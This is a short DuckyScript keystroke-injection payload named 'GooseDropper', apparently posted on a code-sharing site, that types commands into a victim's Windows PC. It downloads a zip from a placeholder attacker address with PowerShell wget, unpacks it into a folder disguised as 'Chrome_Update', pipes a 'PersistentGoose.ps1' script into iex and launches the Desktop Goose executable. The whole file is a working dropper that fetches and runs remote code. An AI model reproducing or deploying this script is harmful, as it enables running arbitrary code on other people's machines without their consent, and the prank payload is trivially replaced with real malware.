Fr3ki
24 lines
587 B
Plaintext
24 lines
587 B
Plaintext
REM TITLE GooseDropper
|
|
REM AUTHOR Fr3ki
|
|
REM DESCRIPTION Grab the Desktop Goose executable from an attacker machine and run it on the victim PC
|
|
DELAY 500
|
|
GUI r
|
|
DELAY 500
|
|
STRING powershell wget YOUR_IP/ZIP -OutFile $ENV:Temp/Update.zip
|
|
ENTER
|
|
DELAY 8000
|
|
GUI r
|
|
DELAY 500
|
|
STRING powershell Expand-Archive $ENV:Temp\Update.zip -DestinationPath $ENV:Temp\Chrome_Update
|
|
ENTER
|
|
DELAY 3000
|
|
GUI r
|
|
DELAY 500
|
|
STRING powershell gc $env:Temp\Chrome_Update\Update\PersistentGoose.ps1 | iex
|
|
ENTER
|
|
DELAY 1000
|
|
GUI r
|
|
DELAY 500
|
|
STRING %Temp%\Chrome_Update\Update\GooseDesktop.exe
|
|
ENTER
|